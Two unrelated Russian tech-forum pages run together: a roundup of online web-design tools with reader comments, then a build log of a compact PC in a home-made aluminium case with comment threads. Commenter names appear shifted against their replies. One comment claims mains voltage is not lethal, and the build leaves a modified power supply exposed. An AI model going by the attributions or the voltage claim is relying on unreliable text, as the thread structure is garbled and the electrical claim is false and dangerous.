Под катом — описание восьми сервисов, которые могут заметно облегчить жизнь веб-разработчика, верстальщика или дизайнера.


1. Wordmark.it




Сервис для подбора шрифтов Wordmark.it — позволяет увидеть написание заданной фразы со всеми шрифтами, установленными на вашем компьютере. Шустро грузит, удобные фильтры. Жаль, нет возможности задать цвета фона и букв.

2. Spritebox




Спрайтбокс предназначен для «нарезки» картинок на спрайты. Загружаете картинку, выделяете нужные области, пара кликов — и у вас есть готовые css-стили для спрайтов.
CSS-спрайты — это представление большого количества мелких картинок, путем создания одной большой картинки, что существенно экономит время загрузки и ресурсы сервера (запрос идет всего-лишь на одну картинку, вместо всех).

3. CSS3 Generator




CSS3 Generator поможет вам грамотно использовать возможности CSS3: покажет список доступных CSS3-стилей, сгенерирует кроссбраузерный код для них, сообщит о том, какие браузеры поддерживают или не поддерживают данные стили.

4. ProCSSor




ProCSSor — инструмент для проверки/форматирования css-стилей. Загружаете свой styles.css, выбираете настройки форматирования и получаете на выходе красивый валидный css-код.

5. Super Conversion Button




Super Conversion Button — инструмент для быстрого создания дизайнов кнопок. Просто выбираете стили, цвета, текст надписи и т.д.

6. 0 to 255




0 to 255 — простой и удобный сервис подбора оттенков цветов. Думаю, по скриншоту все и так понятно.

7. Frame Box




Frame Box — сервис для создания так называемых «wireframes» — структурных схем таблиц. Очень полезная вещь на стадии проектирования разметки новых сайтов или каких-либо веб-интерфейсов. Созданные схемы можно сохранять, а также делиться ссылками на них.

8. jsFiddle




Сервис jsFiddle — эдакая «песочница» для веб-разработчиков. Рабочая часть окна разделена на 4 части: HTML, CSS, JavaScipt и результат. В меню слева выбираем js-фреймворк, библиотеки к нему, спецификацию HTML и т.д. В соответствующих частях рабочей области пишем код — и незамедлительно видим готовый результат. Проекты можно сохранять и делиться ими.


Подборка сервисов взята отсюда, спасибо за внимание, надеюсь, статья была полезной.
Loner
Спасибо, с некоторыми не был знаком. Пригодится.
r1der
На самом деле столько похожих сервисов наплодилось, и ведь все реально полезные.
RReverser
Spritebox — это да, нужная вещь. Спасибо.
RReverser
Правда, тормозит что-то… Возможно, проблема на моей стороне.
chipp
Огромное спасибо за подборку
orloffkirill
Однозначно, в мемориз!
Особенно Wordmark.it.
MOst_53
Чувствую себя первобытным человеком, котрый все это делает в NetBeans + Photoshop. Ну что ж хороший повод освоить что-нибуть новое. =)
Tweeph
Да-да, кнопочки смачные такие ;)
ElysiumDoyle
Что же мне чувствовать, если я верстаю в блокноте? :)
taliban
Моя самая первая страничка была сверстана в блокноте. А потом я перешел на нормальные HTML-редакторы.
agul
Моя самая первая страничка != Верстаю в блокноте
taliban
Просто не вые*. Я верстаю раз в несколько месяцев и только для себя. Я не секу в последних изменениях html и вполне обхожусь блокнотом, пятью браузерами для проверки и старыми добрыми таблицами, которые сейчас никто не использует почти.
Каждому свое, я зарабатываю другое работой на компе. И я удивлен, что высказывание моего мнения, совершенного лишенного пафоса и лжи, собирает негатива не меньше чем кого-то послать.
ElysiumDoyle
С вашим никнеймом — нельзя.
taliban
notepad++ вполне хватает ) Но это все же не IDE.
mamaev
Неужели я что-то говорил про иде? В моем понимании блокнот = notepad.exe и когда говорят блокнот, я имею ввиду именно его, я сам работаю в notepad++ и я не могу его назвать блокнотом
taliban
вы себе даже не представляете сколько таких людей.
fuCtor
я уточню: блокнот — виндовый блокнот, который даже не может размер табуляции изменять, сторонние разработки уже не блокнот… может так будет понятней.
taliban
тогда и я уточню — многим кому нужно что-то разово или в «своей обстановке» (на собеседовании, к примеру, или в интернет-кафе) сверстать не качают дримвивер или notepad++, а используют виндовый блокнот.

хотя я видел и таких кто использует его для верстки всегда.
ivint
Использую FAR + Colorer для верстки и разработки, крайне доволен, всего хватает с головой.
taliban
Таки есть разница, о каком блокноте идет речь, есть подсветка синтаксиса или нет — вопрос важнее.
ivint
реально жизнь теперь будет легче!
Сенькс.
UNREALre
А не подскажет ли кто online генератор кнопок в PNG?
Дабы можно было кнопки в софтах использовать, а не только в веб-приложениях.
Буду очень очень благодарен
GrassNetworks
Спасибо за эту подборку. Ее, конечно, можно еще расширять и расширять. На мой взгляд, mockflow.com — гораздо богаче чем Frame Box. Но нет русскоязычной поддержки.
alexmay
Еще gliffy.com и gomockingbird.com хороши :)
an2kor
http://balsamiq.com/ всех делает.
BANTIK
Спасибо за подборку. Генератор кнопок понравился — лучший из всех, что я видел.
Hellcunt
Спасибо, часто густо оформлять css лень, а о возможностях css3, должно быть очень удобно:)
Vadaboom
Хабр горазд сегодня на статьи для закладок!
Однозначно, +1
an2kor
Для любителей оптимизации\чистки css есть ещё www.cleancss.com/
Kronius
оффтоп: не справедливо, я считаю, что не у всех кармы хватает :/
Artoha
Плюс за jsFiddle. Давно искал песочницу, иногда очень полезно.
ThisNameWasFree
Отличная подборка! Давно искал решение для подборки цвета на тон темнее/светлее. 0 to 255 как раз то, что надо.
gag_fenix
Дополнение к 0 to 255, еще можно использовать Яндекс.
Shuichi
А также whoyougle.ru/services/color/ особенно возможность искать по имени цвета, иногда помогало + в различных цветовых схемах.
SEObomj
А ещё вот вспомнил — getcolor.ru/#EEE6A3
Тоже и по имени и по цвету ищет.
По ссылке цвет с интересным названием.
Kuznetsov
Добавлю еще один полезный сервис:
Ultimate CSS Gradient Generator
bigrucom
Да, сколько же человек в избранное добавили :) Спасибо :)
Vasiliadi
Отличная подборка, большое спасибо!

От себя добавлю еще два (использую их в основном для работы со шрифтами):

1) CSS Type Set — отличный и простой инструмент для проверки читабельности текста



2) SenCSs [sense] — упрощяет жизнь верстальщика, повторяя одинаковые части CSS

fuCtor
Вы бы источник указали. А то некрасиво получается.
Kuznetsov
Даже как-то неловко за автора.
wersoo
И точно, поправил, спасибо.
Smerig
Автор, Вы только что упростили мою жизнь в тысячу раз :) Огромное спасибо! Подбор гаммы, CSS3 и генератор превью шрифтов — ушли в закладки.
slamduck
Вот этим сервисом очень удобно делать favicon из png / jpg — iconverticons.com/
Bomber


Отличный сервис для генерации всего набора шрифтов для использования через @font-face.
Так же можно выбрать способы подключения.
negodnik
Прошу прощения, ссылку не приложил
AndreyMorozov
Боже мой :( я явно не выспался. Вот правильная ссылка на Font Squirrel
047
Спасибо за подборку, покормил свои закладки.

Хотел бы ещё порекомендовать довольно удобный сервис для рисования favicons.
betaboy
Прошу прощения, сбежал пост. Видимо на Хабре hot-keys какие-то ложно срабатывают.
http://www.favicon.cc/ — для простого рисования favicons.
Даже если между вами и дизайном нет ничего общего, сделать фавиайкон очень просто.
IonDen
А есть что-то типа jsFiddle только как приложение, а не онлайн сервис?
IonDen
В тему:

www.ajaxload.info/ — сервис для моментального создния вейтингов.

IonDen
+webscriptlab.com, loadinfo.net, preloaders.net.
Хотя ajaxload.info и preloaders.net мне нравятся больше остальных.
ArMikael
Скоро всю разработку можно будет перенести в онлайн, осталось только аналог фотошопа придумать
ArMikael
www.sumopaint.com/app/
такой аналог фотошопа вам подойдет?
На написание этой статьи меня подтолкнули многочисленные просьбы моих друзей о том, что я «должен поведать об этом миру». Разговор пойдет о компактном и достаточно мощном компьютере, собранном своими руками аж в октябре 2011 года. Изначально немного о причинах этого и истории создания.

Осторожно, в статье много картинок.



Предыстория


Необходимость в компактной и мощной машине у меня возникла по следующей причине. Я достаточно тесно связан с работой в трехмерном пространстве и визуализацией. Ну, а как некое хобби — люблю часок-другой поиграть в хороший шутер. Требования к машине при таких составляющих понятны. Необходимость в мобильности машины продиктована еще и следующим: часто и дома поработать приходится, да и комп для таких людей как я — всегда нечто большее, чем коробка в офисе. Из-за этого долгое время покупал «топовые» ноутбуки — т.н. рабочие станции, по цене они тянули за 80 т.р. У меня таких было две: первая успешно работает до сих пор, радуя хорошим экраном, вторая дважды была в ремонте, но все равно «сдохла». Но когда у друга попробовал стационарный компьютер с действительно мощным железом, пришло понимание, что с ним не сравнится ни один ноут — рабочая станция, да и есть все-таки в работе за стационарником свой кайф — большие мониторы, полноценная клава и свобода на столе.

Как следствие этого понимания, решил «и на елку влезть и рыбку съесть», собрать максимально мощный и максимально компактный комп. При помощи трехмерной программы, перебрав множество различных элементов компоновки, мной был запроектирован оптимальный для меня компьютер.

Спецификация компонентов компьютера (цены на октябрь 2011 года):

  • Материнская плата (Gigabyte GA-H67N-USB3-B3) — 3562 р.
  • Процессор (Intel Core i7-2600K, 3.40ГГц, 8МБ, LGA1155, OEM) — 9437 р.
  • Процессорный кулер (Thermalright AXP-140(RT)) — 2090 р.
  • Оперативная память (DDR3 8Gb (2x4Gb) PC3-12800 1600MHz DIMM Kingston Hyper X Genesis, BOX) — 2260 р.
  • Видеокарта (AMD Radeon HD 6970 2048Mb MSI, PCI-E, DVIx2, HDMI, miniDPx2, Retail) — 10180 р.
  • Жесткий диск (2.5" 120 GB SATA Solid State Disk (SSD) Intel 510 MLC) — 8730 р.
  • Блок питания (ATX 600W Cooler Master GX Lite RS600-ASABL3 (докуплен позже)) — 2300 р.
  • Wifi usb адаптер (TP-LINK WN722NC, 150Mbps 802.11n) — 430 р.

Итого комплектующие — 38989 р.

Дополнительно:

  • Корпус (Silver Stone Sugo SG07), пришлось продавать — 6887 р.
  • Жесткий диск (2.5'' 320Gb Seagate Momentus, SATA 3Gb/s, 5400 rpm), уже был — 1440 р.









Сборка


Вопрос уперся в изготовление корпуса. Нужен был полностью индивидуальный. Фирмы лазерной резки и гибки металла, увидев чертежи выдали такой ценник, что Apple и Dell просто отдыхают. Погрустил и пошел по самому простому пути — собрал все в наиболее компактном корпусе, который вообще существовал и до сих пор, как я понимаю, существует для подобных по мощности машин — SilverStone Sugo SG07.

В общем, сборка в этом корпусе была выполнена быстро и успешно. Но «червячок» грыз: этот корпус, на мой взгляд, спроектирован не рационально, как с точки зрения компоновки компьютерных «потрошков», так и с точки зрения нужности некоторых компонентов конкретно для меня. Увы — издержки продукта для массового потребителя. Короче — решил и корпус сделать сам. Руки вроде, растут откуда надо, да и в школе на уроках труда в носу не ковырял. Осенило меня не сразу, хотел сначала металл резать и т.д. Потом дошло — можно купить уголков алюминиевых, и собрать их на винтики, нарезав резьбу метчиком. Алюминий металл мягкий, проблем при этом быть не должно. Срочно был адаптирован проект компьютера под изменившиеся условия.

Самый большой ящик на картинках — это габарит Sugo SG07.









Недешёвый корпус Sugo SG07 с очень хорошим БП, пришлось пустить на продажу. До сих пор, кстати, никто не купил — даже жалко.

Был приобретен новый блок питания Cooler Master серии GX Lite, с «сильной» линией +12V, вскрыт и «слегка» оптимизирован. А именно: были удалены лишние провода — Molex, аппендикс FDD. Одна ветка SATA заглушена и припасена на случай подключения еще чего-нибудь в случае нужды. Ну и конечно, укорочены все остальные ветки под необходимую длину. Разрезал и спаял каждый провод. Идеальный вариант — вынуть из разъемов и обжать заново каждый проводок (разъемы 24 pin, 4 pin «матери» и 6+2 pin «видео»). Вынуть их очень легко, но обжать без соответствующего оборудования и новых «штырьков» невозможно. Каюсь — не нашел и тонкой термоусадки, поэтому спаянные концы проводов обмотал изолентой. С проводами SATA все просто — их разъемы с ножами, вскрываешь и устанавливаешь заново, где нужно. Понятно — при таких манипуляциях про гарантию блока пришлось забыть (аж 3 года!). Поэтому блок выбирал изначально достаточно надежный.

Что еще? В магазине были куплены алюминиевый профиль (уголок 15х15х2 и полоса 15х2 длиной 2м и то и другое), кучка винтиков и два метчика (Цена за все — «три копейки»). Далее — сборка. Все прошло как по маслу. Благодаря 3D-модели, все детали гарантированно подошли друг к другу. Пришлось чуть модернизировать и видеокарту: дополнительное питание организовал по припаянным к плате проводкам — стандартные разъемы слишком сильно торчали бы над корпусом. В качестве новых штекеров использовал обычный клеммник. Плюс — полностью удалил металлическую посадочную скобу видеокарты (там, где разъемы подключения мониторов).

По традиции — извиняюсь за фотки «сборочного этапа». Во-первых, делал не для статьи, а для себя — чтоб не забыть где что. Во-вторых, делал их телефоном. Потом, конечно, «тянул» в редакторе, но все равно — «кака». Но и то хорошо, что хоть эти остались.

Картинки сборочного этапа: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15

Итог


Вот что получилось. Габариты этого агрегата — 290х210х130(h)мм.



По идее, сверху на комп надо сделать, заказать в той же лазерной резке, декоративную решетку. И чертеж есть, да все никак время не найти. Снизу и сбоку делать точно ничего не надо. Сзади, на вентилятор БП, прикрутил обычный «гриль». Как показало время, а эксплуатируется комп более года, даже верхняя решетка нужна скорее для красоты (пальцы в кулер и блок питания никто не сует), но это завершит комп как изделие, придаст ему законченный вид и некий шик.







Что мы имеем в сухом остатке. Очень компактный компьютер с параметрами, которые и спустя год, вполне себе ничего. Специально под этот агрегат была куплена маленькая сумка. Туда влезает еще пара шнуров и всякая мелочевка, вроде флешек и т.п. По удобству использования — носить удобней, чем сумку с ноутом, по весу — практически одинаково, 100 грамм туда-сюда не принципиально.

Два монитора на работе и один дома, два комплекта клав и мышек, дома проводной. Конечно, здесь нет встроенного звука, но он встроенный мне и не нужен. На работе — монитор с колонками (через HDMI). Дома — качественные наушники с гарнитурой, а когда смотрю фильмы, подключаю TV-панель и колонки (звук 5.1).

В общем агрегатом очень доволен, решение было принято однозначно правильное, с ноутом не сравнить. Ну а по цене вопроса — сами видите, даже с учетом стоимости дополнительного монитора, клавы и мышки, очень «вкусно» получилось. При этом — бескомпромиссная мощь и реальная мобильность. В принципе — в этом корпусе даже модернизация компьютера возможна, хотя она вряд ли понадобится. Технологии развиваются так быстро, что скоро смартфоны будем к мониторам подключать и на них работать.

Я до сих пор удивляюсь, почему подобные штуки не делают фирмы-производители корпусов. Их бы возможности, какую «конфетку» можно было бы сделать! И покупатели наверняка бы нашлись.

Ну и в конце, еще пара деталей про комплектацию при сборке «товарища», если кому интересно. Долго искал кнопки включения и перезагрузки. Так и не нашел готовых, хотел даже старый корпус покупать. Помог случай. В «загашнике» были проводки старые с насадками на штырьки — как раз что надо. Саму кнопку включения купил в магазине, она для авто была, с дудочкой нарисованной — дудочку сточил надфилем. Для перезагрузки припаял сенсорную кнопку от старой мышки, короткий огрызок сделал — сантиметра полтора от штекера до кнопки. Слава богу, перезагружать не приходится. Светодиодик включения тоже пригодился, как без него порядочному компьютеру? В общем — внимание к деталям, аккуратность, все на стяжечки и т.п.

Дополнительные картинки: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11

Alexsey
Сурово… Но круто. Хотя открытый БП меня ой как напрягает в плане безопасности…
lightman
А в чём заключается опасность?
powder96
Там напряжение, которого достаточно, чтобы убить человека. По-хорошему, такое надо закрывать в два корпуса, в крайнем случае, в один. Но оставлять, фактически, без корпуса ни в коем случае нельзя. Случайно зацепился рукой и все.
lightman
Понятно, на третий день Зоркий Глаз заметил, что у БП автора боковой крышки то нет.
Mavim
Там напряжение, которого достаточно, чтобы убить человека.

простите, сколько в вольтах?
Если 220, то этого недостаточно, так как мышцы при воздействии тока сокращаются, и если вы заденете фазу, то испытаете дискомфорт, но не более.
Я не говорю про случаи, когда вы решите левой рукой взяться за 0, а правой за фазу.
powder96
На входных сглаживающих конденсаторах может быть от 270В до 311В (это амплитудное значение напряжения для ~220В 50Гц). Ну, и как Вы уже заметили, там есть еще просто ~220В.

Вероятность того, что Вы как-то неудачно коснетесь насмерть, все-таки мала, т.к. детали в БП упакованы достаточно плотно и нижняя сторона платы закрыта внутрь. Но, когда речь идет о жизни, даже небольшая вероятность — большой риск. В тех же компьютерах не просто так кладут БП в отдельную коробку. Помимо экранирования помех, она еще и играет роль защиты людей.
AlexanderS
Проблему с охлаждением, я смотрю, вы решили довольно просто )))
hannimed
В следующей версии надо подумать над шумоизоляцией :)
vibornoff
Что-то я не вижу подвода питания на видеокарту — вы ее от материнской платы запитывали?
Alexsey
На одном из фото процесса сборки видно что провода питания припаяны с обратной стороны видеокарты
StirolXXX
Мечта геймера, бесполезная для обычных пользователей
e_asphyx
Ручки ему не хватает, для переноски. Прямо просится.
А вообще очень хорошая вещь получилась. Сильно шумит?
Ariman
Децибелы не замерял, но кулер процессора шумит. Но мне это не важно — я изначально понимал что машина будет шуметь.
ilyafd
Современный безвентиляторный БП поможет снизить шум.
Moskus
Чудес не бывает. Безвентиляторный БП может нормально функционировать с очень габаритным радиатором. А тут не тот случай, чтобы ставить большие и тяжелые железки. Ну и сказано же — больше шума от кулера процессора. :)
guessss_who
Обшить пластиком, загерметизировать, вентиряторы на 10-15% мощности, залить трансформаторным маслом :)
hermit931
3 литра масла весят 2.6 кг (напомню, человек носит этот системник с собой в сумке). Кроме того, от масла тепло тоже нужно отводить. Иначе получим >90°C по всем железкам равномерно.
guessss_who
Ну снизу радиатор можна сделать как ножки/подставку, а про лишние килограммы не подумал
hermit931
* объем этого системника по внешним габаритам — вообще 7.9 л. :)
guessss_who
Элементы корпуса с развитой поверхностью?
hermit931
Почему болты, а не заклепки? Чтобы установить компоненты нужно разбирать?
Moskus
А что проще и удобнее самому поставить, болты или заклёпки?
vf1
Заклепки. Не нужно резьбу нарезать, к тому резьба в алюминии не самое надежное решение.
Grox
А может у него без резьбы, на гайках? А чем заклёпки ставить у всех дома такой же обычный инструмент, как и отвёртка?
vf1
нарезав резьбу метчиком
Grox
А чем заклёпки ставить у всех дома такой же обычный инструмент, как и отвёртка?

Самый простенький пистолет для слепых заклепок ~60р, упаковочка на 50 заклепок еще рублей 10.
В общем инструмент может и не такой привычный как отвертка, но особых расходов не требует. Так что вариант с заклепками и не дорогой и очень простой, хотя я и сам бы о нем мог не вспомнить.
vf1
Заклепки проще ставить — сверлишь дырку, втыкаешь заклепку и делаешь одно движение заклепочником. Только разбирать потом непросто. Думаю можно делать часть заклепками, а часть винтами.
XuTPuK
Да. Вот теперь скажите, что дешевле приобрести, отвёртку или заклёпочник? Учитывая, что отвёртка всё равно нужна.
jakobz
Ну во-первых не только отвертку, а еще и метчик. А во-вторых заклепочник стоит ну рублей 500 — это не так много в масштабах всего мероприятия, при том что заклепки будут держать реально лучше винтов. Ну и заклепки просто выглядят симпатичнее.
Grox
Уговорили. Пошел покупать заклепочник.
jakobz
Еще лучше — винты и гайки. Дрель почти у всех есть. Ну можно еще фиксатор резьбы прикупить разьемый. Надежнее резьбы в алюминии, дешевле заклепочника, легко поддается разборке в отличии от заклепок.
vvzvlad
Винты, гайки и дрель у меня уже есть.
si1v3r
На заклепках получится слишком стационарная конструкция.
При желании что-то поменять/подвинуть это потребует полной разборки и сурового инструмента для монтажа заклепок.
Лучше, наверное, вообще использовать заранее перфорированный профиль.
что-то вроде такого
www.tovar-stroy.ru/catalog/t4992.html
Хотя дрель и винты с гайками тоже недурно. :-)
vvzvlad
Металлоконструктор. Крепёж, проверенный поколениями.
i.otzovik.com/2013/01/26/363922/img/10181356.jpg
vavy
о, да, это вообще волшебно.
можно потом и сыну по наследству передать.
freeznah
Да, это тот вопрос которым стоит задаваться собирая топовый компьютер. Дешевле просто комплектуху на поролонке раскладывать. И после работы в хозяйственную сумочку собирать. Вот и мобильность и дешевизна… И будет чем народ удивить. ))

Другое дело, что в этой конструкции не так много соединений можно намертво зафиксировать, без того, чтобы лишить себя возможности заменить комплектующие без лишнего геморроя в случае, если что-то выйдет из строя…

Думаю если автор продумает эту идею то уже можно будет коммерциализировать… Спрос на подобные кастомные сборки определенно будет…
vavy
Почему разбирать непросто? очень даже просто :) шуруповертом со сверлом нужного размера — просверливаешь шляпку и всё :)
northbear
Неплохая машина получилась, и красиво. Тоже жалею, что подобные штуки не делают массово.
Недавно апгрейдился, выбирал между моноблоком (большой монитор, компактность на столе, нет ненужной клавиатуры) и ноутбуком (лучше железо, несколько выше мобильность), взял все-таки второй. Стационарники смотрел, но как представил эту дуру… что на столе, что под столом — куча места в никуда.
И вроде было время, когда и системник и девятнадцатидюймовый ЭЛТ-монитор стояли на столе, но сейчас уже это кажется очень неудобным.
dmsob
Не в никуда, а в производительность. Да и можно воспользоваться miniATX корпусом или типа barebone.
lutov
Скажем так, дорогой ноут все-таки получается дешевле новой квартиры, в которой потеря места под корпус будет неощутима. Поэтому таки в никуда. Решение в моем случае в 100 случаях из 100 будет принято в пользу ноутбука. Хотя, лет пять-шесть назад все было иначе.
Grox
Ну вы и сравнили ноут с компом с топовым процем и топовой дискретной видяхой.
lutov
Ноут за 50 тысяч таки решает все существующие на данный момент задачи. Собственно, и за 25к решает большую часть, но чуть хуже.
Сколько стоит хотя бы двухкомнатная квартира даже в маленьком городе?

Я подбирал комплектующие вручную еще несколько лет назад, но сейчас время и комфорт оказываются дороже визуально неразличимого прироста производительности.
zapimir
А можно узнать на что вы так тратите пространство что под системник места не найти?

Противопоставить топовым десктопным видеокартам нечего в ноутбуках. А на других не поиграть на больших разрешениях, ни то что на 2550x1660, даже на 1920x1080.
lutov
Я большой, а квартира маленькая, и помимо меня в ней еще есть жена :) один-то я бы еще как-то уместился.

Что касается FullHD на максимальных настройках на ноутбуке, то, судя по тестам, этого действительно тяжело добиться. Но фактически GTX 670M вполне позволяет это делать, и даже без ощутимого (в градусах) напряжения.
NermaN
Один мой товарищ-сисадмин, живший в комнате в общаге пока не уехал за рубеж, вешал системный блок на два гвоздя на стену рядом со столом… Довольно удобно было. Детвора не доставала, проблем с вентиляцией не было, провода не мешались и место высвобождалось… )
lutov
Кстати, да — когда я еще в школе учился, был у нас с товарищем «проект» прикрутить материнку и все подключаемые компоненты к листу гипсокартона, и закрепить на стене…
northbear
Ноут даже за 200 тысяч проиграет стационарному компу. Причем значительно проиграет по производительности в разы. Плюс ноут будет шуметь сильнее грамотно собранного стационарника.
Каким боком тут квартира?

Визуально неразличимого :) А вы пережмите HD-видео, или отрендерите сложную 3D сцену, сразу будет различимо. Если у Вас нет ресурсоемких задач для компа, это не значит, что и у остальных их нет.
lutov
Я не предлагаю заменить серверную стойку или рендер-ферму ноутбуком, верно? Речь скорее о персональном компьютере. Решать на котором производственные задачи хоть и можно, но обычно не стоит.
zapimir
На рынке есть предложения, но цена в кусается (3.5-5тыс долларов ).
lutov
И толку там всё равно мобильные видяхи, которые в несколько раз уступают десктопным. Чудес не бывает, чтобы была аналогичная по производительности видяха, нужно в ноут впихнуть аналогичный по габаритам радиатор (а скорее даже больше, так как там меньше пространства).
bliznezz
Посчитал сколько стоит площадь и объём в квартире (48кв/м, 2 млн руб). Помножил на площадь и объём моего Full Tower (0,5x0,2x0,5).

Получилось 830 рублей по объёму. Или 4000 руб по площади. (при этом ноутбук против десктопа будет дороже более чем на 4к, и не разово а каждые несколько лет).

Да, кстати, половину своей жизни я провожу за работой на компьютере. Как будем сравнивать это со стоимостью квадрата или ноутбука?
zapimir
Стоит считать процент не от полной площади — или объема — а от свободной и пригодной к использованию по назначению. Конкретно в моем случае этот процент при использовании полноразмерного корпуса будет стремиться к 100. То есть, нужно будет выбросить что-то другое.
Если в Вашем случае иначе, то это, безусловно, хорошо. Я не стану отрицать преимуществ размера — сам немало лет провел в кресле от гарнитура (весом килограммов в 50 и площадью основания в квадратный метр) за стационарником и девятнадцатидюймовым ЭЛТ. Просто сейчас ситуация немного поменялась.
vsespb
Ну тогда уж для всех вещей в доме нужно пересчитать стоимость площади пригодной к использованию (хотя это странно, до того как эти вещи появились площади было гораздо больше). Думаю после этого окажется что кухню нужно переоборудовать в жилое помещение и питаться в ресторане. А так же хорошим вложением покажется складная шкаф-кровать.

Или можно например насобриать самых ненужных вещей в квартире, по площади равных компьютеру и посчитать сколько они стоят. И выбросить.
lutov
Да, можно сделать и так.
vsespb
Всё же там будет около 0.7*0.3=0.2м2, плюс пространство для воздуха вокруг с проводами, и того 0.3м2, при стоимости метра в Мск 150т.р. это 45т.р.
Но это оправданная трата.
lutov
Все забывают о том, что системник не занимает площадь, а переносит её на уровень выше, которую вы не вычеркиваете из своего пространства: он ещё и полочкой служит (и обогревателем ещё, хоть и слабым). В отличие от ноута, площадь над которым точно никак не использовать.
DjOnline
Ну у меня просто размеры другие и стоимость квартиры не как в мск. Где вы корпус 0.7 на 0.3 нашли???
vlivyur
Корпуса нельзя ведь ставить в притык, должно быть пространство вокруг для воздуха, вот как раз с проводами сзади и доступом к ним у меня 0.7 по длине и с 4см с каждой стороны по бокам получается 0.3 по ширине.
vsespb
А, что, справедливо. Хотя у меня плинтус обеспечивает необходимые зазоры сбоку. Собственно сбоку нет вентиляции зазоры не нужны.

Получается если чуть-чуть подругому посчитать то выйдёт в 10 раз больше.

Ещё сюда стоит добавить UPS для компьютера vs NAS для ноутбука.

Вообще если получается дорого, то имхо всю борьбу за метры стоит совершать в области дизайна интерьера, там гораздо проще получить оптимизацию, а иначе какой-нибудь клубок из пилотов сожрёт больше места чем комп стоит.
DjOnline
Ну можно вообще корпус поставить на полочку на высоте двух метров, чтобы совсем не мешался снизу :) Или в шкаф, если он есть рядом, с полезным пространство несколько метров по высоте.
vsespb
Большая разница — башня занимает место под столом, а ноут с доком кучу места на столе. Работать регулярно по 8 часов на собственной клавиатуре и экране ноута, согнувшись в букву зю, я пожелаю только врагу — плавали уже, этот опыт я еще доолго вспоминать буду.
Ну и надо отметить что даже гигантский big tower корпус от чифтека занимает не так и много места под столом — они большие только в высоту (и толщину стенок :) ).
DjOnline
В принципе, сейчас хранение системника под столом более оправдано фактом вымирания CD. Но раньше это было форменным извращением :)
Также имеет смысл учитывать свободную площадь под столом и размер ног, которые тоже должны туда поместиться. Все мои стационарники стояли на столешнице, скажем так.
Yizahi
Ну насчет CD я бы поспорил, зависит от физиологии и устройства рабочего места. У меня в родительском доме очень удобно системник размещался под столом, и сидя на стуле я как раз не напрягаясь доставал рукой до привода. Сейчас вообще его не трогаю, только включаю, но и раньше не видел смысла захламлять стол такой громадиной.
lutov
А зачем вообще сейчас покупать big tower, даже для мощного компа достаточно маленьких башен. Большая башня нужно по сути если нужно туда много винтов/dvd'шек всунуть, а в таком случае сравнивать с ноутом вообще бесполезно.
Navij
Хотелось много винтов и нормальную продувку отсека с винтами. Но вообще уже понятно что такой монстр не нужен (реально он был бы оправдан или размещением большой водянки прямо в корпусе или рейдом из 15-20 винтов), хватило бы и мид/фул башни. Просто раз уж есть, то не выкидывать же его, пока АТХ компы будут делать пускай стоит.
zapimir
Работать регулярно по 8 часов на собственной клавиатуре и экране ноута, согнувшись в букву зю, я пожелаю только врагу
Вот, если честно, третий год безуспешно пытаюсь найти для домашнего компьютера хоть какой-то аналог клавиатуры ThinkPad'ов.
Yizahi
моя клавиатура я предполагаю вам не подойдёт?
Просто более-менее похожа, по моему субъективному мнению
Chamie
Не могу даже представить, чем она может быть похожа. У меня точно такая же лежит дома — полная противоположность ThinkPad'овским. Клавиши, по-моему, даже без пантографов — при нажатии на край клавиша перекашивается и с трудом пропихивается вниз, распиханные по краю Home/End/PgUp/PgDown, Insert слева от стрелок, F-клавиши без разделения на группы и т.д.
Для сравнения:
ThinkPad keyboard
Exxtay
Посмотрите клавиатуры от Microsoft. Они на мой взгляд самые близкие к клавиатурам ThinkPad.
А вообще можно и оригинальную взять
Chamie
Массово не выгодно и риски, потому что:
Был приобретен новый блок питания Cooler Master серии GX Lite, с «сильной» линией +12V, вскрыт и «слегка» оптимизирован. А именно: были удалены лишние провода — Molex, аппендикс FDD. Одна ветка SATA заглушена и припасена на случай подключения еще чего-нибудь в случае нужды. Ну и конечно, укорочены все остальные ветки под необходимую длину.

Пришлось чуть модернизировать и видеокарту: дополнительное питание организовал по припаянным к плате проводкам — стандартные разъемы слишком сильно торчали бы над корпусом.

Понятно — при таких манипуляциях про гарантию… пришлось забыть

Сделав для одних комплектующих, новые можно через год тупо не суметь засунуть для апгрейда.

Дорого такое покупать не будут, а дешево — некому оплачивать риски что оборудование не успеют распродать до его устаревания :(
anmi
Меня бы устроили производительные моноблоки с устареванием в два-три года (фактически где-то так компьютер и меняется на новый) или компактные коробки без периферии.
Собственно, ноутбуки уже достаточно мощны, но не компактны для домашнего использования, а мобильность не везде нужна.
А замена отдельных комплектующих, кажется, уже и так не актуальна, то есть, собирать маленькие системники на один раз — нормально, при условии что периферия и монитор меняются значительно реже.

В принципе, есть основания считать, что вопрос так или иначе решится. Но пока еще нет.
rPman
Ну вот и все :) я определился с корпусом, детальки подобрал. Правда я наверно все это заизолирую и добавлю пару светодиодов, тогда ваще ляпота будет :)
lutov
Можно внешнюю поверхность из оргстекла сделать — и изоляция и светодиоды видно.
k3NGuru
Илья просто молодец!

Я завидую вам в том плане, что вы смогли реализовать такую прикольную штуковину на очень не плохом уровне!
Возможно я бы тоже нечто подобное заказал бы, но мне хотелось бы и мобильность и тишину (для дома).
si1v3r
Спасибо, приятно слышать.
mykir
Жесткий диск (2.5'' 320Gb Seagate Momentus, SATA 3Gb/s, 5400 rpm), уже был

2 диска, как я понимаю
ilyafd
Совершенно верно — в машине два диска. SSD — между БП и кулером, обычный винт — спереди у разъемов.
Voenniy
Imo, стоит прикрыть все стенки какой-нибудь листовой металлической или пластиковой сеткой. А то и мусор какой-нить может попасть — закоротить что-нить, да и вращающиеся вентиляторы опасны для здоровья.
ilyafd
Есть чертеж верхней крышки, осталось отдать на лазерную резку — все никак не добраться. Полностью согласен, что надо закрыть на всякий случай, а то болтик какой-нибудь упадет — вот тебе и «коротыш».
PsychodelEKS
Вот интересно, вы паяли питание к видяхе, а не думали кулер на видяхе на более тихий поменять?
ilyafd
Это референс-дизайн, стоит турбина, там нельзя менять так просто.
Можно поставить нештатную систему, но она габаритнее и неэффективнее при таком мелком объёме.Будет перегреваться.

zapimir
Очень круто, однозначно плюс, но себе бы я такой корпус делать не стал. В плане удобности/мобильности — ноутбук для меня лучше.

Но, повторюсь, сделано действительно круто. Надеюсь производители компьютеров увидят ваш топик.
Webnode
А как с охлаждением дела? Не перегревается, если несколько часов что-нибудь на максимальных настройках погонять?
Voenniy
